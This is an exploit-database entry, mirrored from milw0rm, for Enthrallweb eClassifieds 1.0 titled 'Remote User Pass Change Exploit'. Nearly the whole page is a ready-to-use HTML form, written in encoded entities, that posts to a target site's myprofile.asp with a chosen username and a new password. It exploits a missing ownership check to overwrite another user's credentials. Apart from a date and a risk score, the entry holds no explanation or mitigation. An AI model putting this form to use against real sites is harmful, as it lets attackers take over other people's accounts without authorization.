Enthrallweb eClassifieds 1.0 - Remote User Pass Change Exploit

🗓️ 01 Jul 2014 00:00:00Reported by RootType
Enthrallweb eClassifieds 1.0 - Remote User Pass Change Exploi

                                                &#60;form action=&#34;[target]/myprofile.asp&#34; method=&#34;POST&#34; name=&#34;form2&#34;&#62;
                          &#60;p&#62;&nbsp;&#60;/p&#62;
                          &#60;table align=&#34;center&#34; cellpadding=&#34;1&#34; cellspacing=&#34;1&#34;&#62;
                            &#60;tr valign=&#34;baseline&#34;&#62; 
                              &#60;td align=&#34;right&#34; nowrap class=&#34;title&#34;&#62;

Change Profile=&#62;Username &#60;input type=&#34;text&#34; name=&#34;MM_recordId&#34; value=&#34;ajann&#34;&#62;

&#60;/td&#62;
                              &#60;td&#62; &#60;input type=&#34;text&#34; name=&#34;U_PASSWORD&#34; value=&#34;password&#34; size=&#34;35&#34; maxlength=&#34;10&#34; class=&#34;inputFieldIE&#34;&#62; 
                              &#60;/td&#62;

                            &#60;/tr&#62;
                            &#60;tr valign=&#34;baseline&#34;&#62; 
                              &#60;td align=&#34;right&#34; nowrap class=&#34;title&#34;&#62;&#60;strong&#62;&#60;font face=&#34;Verdana, Arial, Helvetica, sans-serif&#34;&#62;FIRST:&#60;/font&#62;&#60;/strong&#62;&#60;/td&#62;
                              &#60;td&#62; &#60;input type=&#34;text&#34; name=&#34;U_FIRST&#34; value=&#34;deneme&#34; size=&#34;35&#34; class=&#34;inputFieldIE&#34;&#62; 
                              &#60;/td&#62;
                            &#60;/tr&#62;
                            &#60;tr valign=&#34;baseline&#34;&#62; 
                              &#60;td align=&#34;right&#34; nowrap class=&#34;title&#34;&#62;&#60;strong&#62;&#60;font face=&#34;Verdana, Arial, Helvetica, sans-serif&#34;&#62;LAST:&#60;/font&#62;&#60;/strong&#62;&#60;/td&#62;
                              &#60;td&#62; &#60;input type=&#34;text&#34; name=&#34;U_LAST&#34; value=&#34;deneme&#34; size=&#34;35&#34; class=&#34;inputFieldIE&#34;&#62; 
                              &#60;/td&#62;

                            &#60;/tr&#62;
                            &#60;tr valign=&#34;baseline&#34;&#62; 
                              &#60;td align=&#34;right&#34; nowrap class=&#34;title&#34;&#62;&#60;strong&#62;&#60;font face=&#34;Verdana, Arial, Helvetica, sans-serif&#34;&#62;ADDRESS:&#60;/font&#62;&#60;/strong&#62;&#60;/td&#62;
                              &#60;td&#62; &#60;input type=&#34;text&#34; name=&#34;U_ADDRESS&#34; value=&#34;deneme&#34; class=&#34;inputFieldIE&#34; size=&#34;35&#34;&#62; 
                              &#60;/td&#62;
                            &#60;/tr&#62;
                            &#60;tr valign=&#34;baseline&#34;&#62; 
                              &#60;td align=&#34;right&#34; nowrap class=&#34;title&#34;&#62;&#60;strong&#62;&#60;font face=&#34;Verdana, Arial, Helvetica, sans-serif&#34;&#62;CITY/TOWN:&#60;/font&#62;&#60;/strong&#62;&#60;/td&#62;
                              &#60;td&#62; &#60;input type=&#34;text&#34; name=&#34;U_CITY&#34; value=&#34;deneme&#34; size=&#34;35&#34; class=&#34;inputFieldIE&#34;&#62; 
                              &#60;/td&#62;

                            &#60;/tr&#62;
                            &#60;tr valign=&#34;baseline&#34;&#62; 
                              &#60;td align=&#34;right&#34; nowrap class=&#34;title&#34;&#62;&#60;strong&#62;&#60;font face=&#34;Verdana, Arial, Helvetica, sans-serif&#34;&#62;STATE/PROVINCE:&#60;/font&#62;&#60;/strong&#62;&#60;/td&#62;
                              &#60;td&#62; &#60;input type=&#34;text&#34; name=&#34;U_STATE&#34; value=&#34;123456&#34; size=&#34;35&#34; class=&#34;inputFieldIE&#34;&#62; 
                              &#60;/td&#62;
                            &#60;/tr&#62;
                            &#60;tr valign=&#34;baseline&#34;&#62; 
                              &#60;td align=&#34;right&#34; nowrap class=&#34;title&#34;&#62;&#60;strong&#62;&#60;font face=&#34;Verdana, Arial, Helvetica, sans-serif&#34;&#62;ZIP/POSTAL:&#60;/font&#62;&#60;/strong&#62;&#60;/td&#62;
                              &#60;td&#62; &#60;input type=&#34;text&#34; name=&#34;U_ZIP&#34; value=&#34;1234565&#34; size=&#34;35&#34; class=&#34;inputFieldIE&#34;&#62; 
                              &#60;/td&#62;

                            &#60;/tr&#62;
                            &#60;tr valign=&#34;baseline&#34;&#62; 
                              &#60;td align=&#34;right&#34; nowrap class=&#34;title&#34;&#62;&#60;strong&#62;&#60;font face=&#34;Verdana, Arial, Helvetica, sans-serif&#34;&#62;EMAIL:&#60;/font&#62;&#60;/strong&#62;&#60;/td&#62;
                              &#60;td&#62; &#60;input type=&#34;text&#34; name=&#34;U_EMAIL&#34; value=&#34;[email protected]&#34; size=&#34;35&#34; class=&#34;inputFieldIE&#34;&#62; 
                              &#60;/td&#62;
                            &#60;/tr&#62;
                            &#60;tr valign=&#34;baseline&#34;&#62; 
                              &#60;td align=&#34;right&#34; nowrap class=&#34;title&#34;&#62;&#60;strong&#62;&#60;font face=&#34;Verdana, Arial, Helvetica, sans-serif&#34;&#62;PHONE:&#60;/font&#62;&#60;/strong&#62;&#60;/td&#62;
                              &#60;td&#62; &#60;input type=&#34;text&#34; name=&#34;U_PHONE&#34; value=&#34;53453453453454&#34; size=&#34;35&#34; maxlength=&#34;15&#34; class=&#34;inputFieldIE&#34;&#62; 
                              &#60;/td&#62;

                            &#60;/tr&#62;
                            &#60;tr valign=&#34;baseline&#34;&#62; 
                              &#60;td align=&#34;right&#34; nowrap class=&#34;title&#34;&#62;&#60;strong&#62;&#60;font face=&#34;Verdana, Arial, Helvetica, sans-serif&#34;&#62;FAX:&#60;/font&#62;&#60;/strong&#62;&#60;/td&#62;
                              &#60;td&#62; &#60;font size=&#34;1&#34;&#62; &#60;i&#62; &#60;font face=&#34;Verdana, Arial, Helvetica, sans-serif&#34;&#62; 
                                &#60;/font&#62;&#60;font size=&#34;1&#34;&#62;&#60;i&#62;&#60;font face=&#34;Verdana, Arial, Helvetica, sans-serif&#34;&#62; 
                                &#60;input type=&#34;text&#34; name=&#34;U_FAX&#34; value=&#34;534534543543&#34; size=&#34;35&#34; maxlength=&#34;15&#34; class=&#34;inputFieldIE&#34;&#62;
                                &#60;/font&#62;&#60;/i&#62;&#60;/font&#62;&#60;font face=&#34;Verdana, Arial, Helvetica, sans-serif&#34;&#62;(Optional)&#60;/font&#62;&#60;/i&#62;&#60;/font&#62; 
                              &#60;/td&#62;

                            &#60;/tr&#62;
                            &#60;tr valign=&#34;baseline&#34;&#62; 
                              &#60;td align=&#34;right&#34; nowrap class=&#34;title&#34;&#62;&#60;strong&#62;&#60;font face=&#34;Verdana, Arial, Helvetica, sans-serif&#34;&#62;RECEIVE 
                                NEWS&#60;/font&#62;&#60;/strong&#62;&#60;/td&#62;
                              &#60;td&#62; &#60;input checked name=&#34;subscribe&#34; type=&#34;checkbox&#34; id=&#34;subscribe&#34; value=&#34;checkbox&#34;&#62; 
                                &#60;span class=&#34;content&#34;&#62; (LEAVE EMPTY TO UNSUBSCIBE)&#60;/span&#62;&#60;/td&#62;
                            &#60;/tr&#62;
                            &#60;tr valign=&#34;baseline&#34;&#62; 
                              &#60;td height=&#34;44&#34; align=&#34;right&#34; nowrap&#62;&#60;font color=&#34;#333333&#34;&#62;&nbsp;&#60;/font&#62;&#60;/td&#62;

                              &#60;td&#62; &#60;input  name=&#34;submit&#34; type=&#34;submit&#34; class=&#34;Buttons&#34; onClick=&#34;MM_validateForm(&#39;U_FIRST&#39;,&#39;&#39;,&#39;R&#39;,&#39;U_LAST&#39;,&#39;&#39;,&#39;R&#39;,&#39;U_ADDRESS&#39;,&#39;&#39;,&#39;R&#39;,&#39;U_CITY&#39;,&#39;&#39;,&#39;R&#39;,&#39;U_STATE&#39;,&#39;&#39;,&#39;R&#39;,&#39;U_ZIP&#39;,&#39;&#39;,&#39;R&#39;,&#39;U_EMAIL&#39;,&#39;&#39;,&#39;RisEmail&#39;,&#39;U_PHONE&#39;,&#39;&#39;,&#39;R&#39;,&#39;U_PASSWORD&#39;,&#39;&#39;,&#39;R&#39;);return document.MM_returnValue&#34; value=&#34;Update&#34;&#62; 
                              &#60;/td&#62;
                            &#60;/tr&#62;
                          &#60;/table&#62;
                          &#60;input type=&#34;hidden&#34; name=&#34;MM_update&#34; value=&#34;form2&#34;&#62;
                          
                        &#60;/form&#62;

# milw0rm.com [2006-12-23]
01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1